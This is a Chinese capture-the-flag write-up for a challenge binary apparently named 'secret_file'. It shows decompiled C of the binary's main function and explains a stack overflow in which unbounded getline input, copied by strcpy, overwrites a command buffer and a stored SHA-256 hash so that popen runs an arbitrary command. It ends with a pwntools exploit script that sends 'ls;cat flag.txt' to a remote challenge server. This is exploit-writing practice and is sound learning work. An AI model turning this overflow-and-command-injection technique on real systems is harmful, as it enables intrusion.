更像是逆向而不是pwn,main函数逻辑如下:
int main(void)
{
byte bVar1;
int res;
__ssize_t _Var2;
char *pcVar3;
FILE *__stream;
char *tmp;
byte *pbVar4;
long in_FS_OFFSET;
size_t size;
char *buffer;
char buf [256];
char cmd [27];
char local_1dd [65];
byte local_19c [32];
char sha256inhex [64];
char local_13c [4];
char local_138 [264];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
initbuf(buf);
size = 0;
buffer = (char *)0x0;
_Var2 = getline(&buffer,&size,stdin);
if (_Var2 != -1) {
pcVar3 = strrchr(buffer,L'\n');
if (pcVar3 != (char *)0x0) {
*pcVar3 = '\0';
pbVar4 = local_19c;
strcpy(buf,buffer);
get_sha256(buf,pbVar4,0x100);
pcVar3 = sha256inhex;
do {
bVar1 = *pbVar4;
tmp = pcVar3 + 2;
pbVar4 = pbVar4 + 1;
snprintf(pcVar3,3,"%02x",(ulong)bVar1);
pcVar3 = tmp;
} while (tmp != local_13c);
res = strcmp(local_1dd,sha256inhex);
if (res == 0) {
__stream = popen(cmd,"r");
if (__stream != (FILE *)0x0) {
while( true ) {
pcVar3 = fgets(local_138,0x100,__stream);
if (pcVar3 == (char *)0x0) break;
printf("%s",local_138);
}
fclose(__stream);
goto LAB_00100c52;
}
}
else {
puts("wrong password!");
}
}
}
res = 1;
LAB_00100c52:
if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
return res;
}
__stack_chk_fail();
}
漏洞在getline未对输入大小作限制,而popen可以执行任意命令。输入被复制到buf上,并且根据栈上的数据分布可以将cmd后的原本分布的sha256给覆盖掉,payload为:
junk(256bytes) + cmd(27bytes) + sha256_of_junk(hex)
唯一麻烦的地方是需要熟悉一下python sha256的计算和表示,写exp:
from pwn import *
from hashlib import sha256
# r = process("./secret_file")
r = remote("111.200.241.244", 57956)
junk = cyclic(0x100)
payload = junk + b"ls;cat flag.txt".ljust(27, b"a") + sha256(junk).hexdigest().encode("utf-8")
r.sendline(payload)
r.interactive()